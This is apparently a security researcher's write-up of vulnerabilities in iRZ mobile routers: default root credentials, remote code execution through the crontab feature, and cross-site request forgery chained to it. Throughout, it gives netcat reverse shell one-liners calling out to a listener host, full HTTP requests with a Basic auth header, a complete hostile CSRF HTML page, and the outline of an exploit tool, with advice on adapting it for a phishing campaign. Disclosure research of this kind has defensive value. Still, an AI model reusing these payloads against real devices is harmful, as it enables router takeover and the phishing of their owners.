Credits
Vulnerability Discovery
Exploit Development
Identification
Default credentials were discovered on an iRZ Mobile Router login page. Utilizing root:root gave us access to the administrative functionality for the device. Having administrative access allows for various manipulation. Any setting that can be modified by an administrator was accessible, but the function that caught specific interest was the “Crontabs” feature in the services tab.
Exploiting crontabs for Post Authenticated RCE
The first exploit that was identified was the ability to achieve remote code execution via the router’s native crontabs functionality. Once authenticated, we clicked on the “+” sign to create a new cronjob, and utilized ‘*’ for each field with the following reverse shell one-liner command:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 5000 >/tmp/f
We quckly started a listener, and caught a shell:
nc -lvp 5000
There was an issue though. The shell kept dying, which would happen as a result of the cronjob being rerun. Fixing this issue can be accomplished by modifying the interval to have the cronjob run at greater intervals, however we found quick success by starting two netcat listeners instead of one. Upon catching a reverse shell, we reran the reverse shell one liner to connect to another netcat listener as an orphan process.
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 443 >/tmp/f
Fortunately, this workaround is efficient, but the router utilizes Busybox. Even after shelling the device, Busybox makes it exceedingly difficult to keep the shell alive. With no TTY, the shell suffers from breaking while attempting to perform most actions. Therefore, after a bit of exploring it was observed that the router keeps open the telnet port and establishing tty is as simple as issuing the follow command:
telnet 0.0.0.0
Since you have credentials, you input them via the telnet login and you have nearly full TTY. There will still be some issues, but it’s far more stable than the initial shell that is established.
Chaining Cross Site Request Forgery with Post Authenticated RCE
The administration panel for the iRZ mobile router has many flaws from an application security perspective. The lack of CORS and utilization of basic authentication on each one of the admin functions made it trivial to chain together CSRF and the previously identified RCE. If you click on the ‘Services’ tab and then click on any of the administrative functions, you will prompted to enter credentials.
First, an API call GET request is made to the function of the application:
GET /api/crontab HTTP/1.1
Host: REDACTED
Accept: application/json, text/javascript
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Submitting the credentials results in another GET request, as the application utilizes basic authentication. The credentials are appended in the format of username:password and encoded with base64. The base64 value gets passed in the GET request in the ‘Authorization’ header.
GET /api/crontab HTTP/1.1
Host: REDACTED
Authorization: Basic cm9vdDpyb290
Accept: application/json, text/javascript
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Creating a CSRF proof of concept that chains together with the post authenticated RCE only required intercepting the POST request made to the API to create a cronjob entry that utilizes our reverse shell one liner in the body of the JSON. First, we created the cronjob exactly like we did previously for the post authenticated remote code execution vulnerability:
POST /api/crontab HTTP/1.1
Host: REDACTED
Content-Length: 286
Authorization: Basic cm9vdDpyb290
Accept: application/json, text/javascript
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/json
Origin: REDACTED
Referer: REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"tasks":[{"minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f","enable":true,"system":false}],"_board":{"name":"RU21w","platform":"irz_mt02","time":"Fri Mar 18 23:32:12 UTC 2022"}}
Right clicking on this intercepted request, we generated a CSRF proof of concept in Burpsuite:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://{VICTIMHOST}/api/crontab" method="POST" enctype="text/plain">
<input type="hidden" name="{"tasks":[{"minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {LHOST-octet-1}.{LHOST-octet-2}.{LHOST-octet-3}.{LHOST-octet-4} {LPORT} >/tmp/f","enable":true,"system":false}],"_board":{"name":"RU21w","platform":"irz_mt02","time":"Fri Mar 18 23:32:12 UTC 2022"}}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Since iRZ Mobile Routers utilize basic authentication prior to accessing each administrative function, the CSRF proof of concept works well against both authenticated and unauthenticated users.
We hosted the CSRF payload on a server:
Then, we tested the CSRF against both authenticated and unauthenticated users and observed the following:
-
Authenticated users that click the CSRF proof of concept button immediately make a POST request to the crontab API, and are served a blank page.
-
Unauthenticated users that click the CSRF proof of concept button are prompted to login by the victim server, which gives legitimaticy to the pretexting of a user with the CSRF template. When they authenticate, the POST request is sent to the crontab API, and they are served a blank page.
Navigating back to the application, the successful entry of a cronjob to the crontabs section of the application is visible:
Developing an exploit
Having to go through the process of manually generating the CSRF can take awhile, therefore we decided it would be smart to template this process. With our exploit ez-iRZ, a user can pick from two different exploit workflows. If a post-authenticated workflow is chosen, the credentials that the attack enters will be encoded to base64 and passed to the Authorization header. The request will be sent to the API, utilizing a standard cronjob request with pre-filled LHOST, LPORT and a reverse-shell one liner command.
The CSRF workflow utilizes similar methodology, minus the requirement to provide credentials. It’s recommended that a more comprehensive CSRF template is made if this exploit is utilized for a serious phishing campaign, such as cloning the specific HTML from the victim’s router - as the device can vary. The script will generate a basic CSRF template that an attacker can host on their server and send to a victim to achieve remote code execution.
Initially we had thought that the device name in the JSON body would have to be changed for the CSRF to work, however, we noted that this is not the case. The CSRF template works against all models of the iRZ Mobile Routers.